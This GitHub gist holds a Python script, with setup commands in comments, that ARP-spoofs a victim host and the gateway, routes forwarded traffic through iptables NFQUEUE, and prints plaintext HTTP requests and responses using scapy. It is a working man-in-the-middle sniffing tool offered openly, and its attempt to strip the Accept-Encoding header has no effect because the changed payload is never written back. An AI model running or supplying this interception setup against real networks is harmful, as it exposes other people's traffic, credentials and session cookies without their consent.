Skip to content

Instantly share code, notes, and snippets.

@reuniware
Last active May 28, 2024 04:46
Show Gist options
  • Save reuniware/0a17f09a556a5e3b34f2c7157f62db1d to your computer and use it in GitHub Desktop.
Save reuniware/0a17f09a556a5e3b34f2c7157f62db1d to your computer and use it in GitHub Desktop.
Python + Netfilterqueue + Scapy (trying to intercept HTTP traffic from Kali Linux)
# apt-get install build-essential python-dev libnetfilter-queue-dev
# pip install NetfilterQueue
# sudo apt-get install python-netfilterqueue
# iptables -F
# iptables -F -t nat
# iptables -I FORWARD -j NFQUEUE --queue-num 0
# arpspoof -i eth0 192.168.1.200 -t 192.168.1.1
# arpspoof -i eth0 192.168.1.1 -t 192.168.1.200
from netfilterqueue import NetfilterQueue
import scapy.all as scapy
import re
import os
from scapy.layers.inet import IP, TCP
os.system("echo '1' > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -F")
os.system("iptables -F -t nat")
os.system("iptables -A FORWARD -j NFQUEUE --queue-num 0")
ip_src = ""
ip_dst = ""
def print_and_accept(packet):
global ip_src, ip_dst, dst_port, src_port
http_packet = scapy.IP(packet.get_payload())
if http_packet.haslayer(scapy.Raw) and http_packet.haslayer(TCP):
if IP in http_packet:
ip_src = http_packet[IP].src
ip_dst = http_packet[IP].dst
# print(ip_src + " -> " + ip_dst)
if http_packet[TCP].dport == 80:
print(ip_src + " -> " + ip_dst + " ** client to server **")
load = http_packet[scapy.Raw].load
print(load)
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
if http_packet[TCP].sport == 80:
print(ip_src + " -> " + ip_dst + " ** server to client **")
load = http_packet[scapy.Raw].load
print(load)
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
packet.accept()
nf_queue = NetfilterQueue()
nf_queue.bind(0, print_and_accept)
try:
nf_queue.run()
except KeyboardInterrupt:
os.system("iptables -F")
os.system("iptables -F -t nat")
print("Gettin' out")
nf_queue.unbind()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment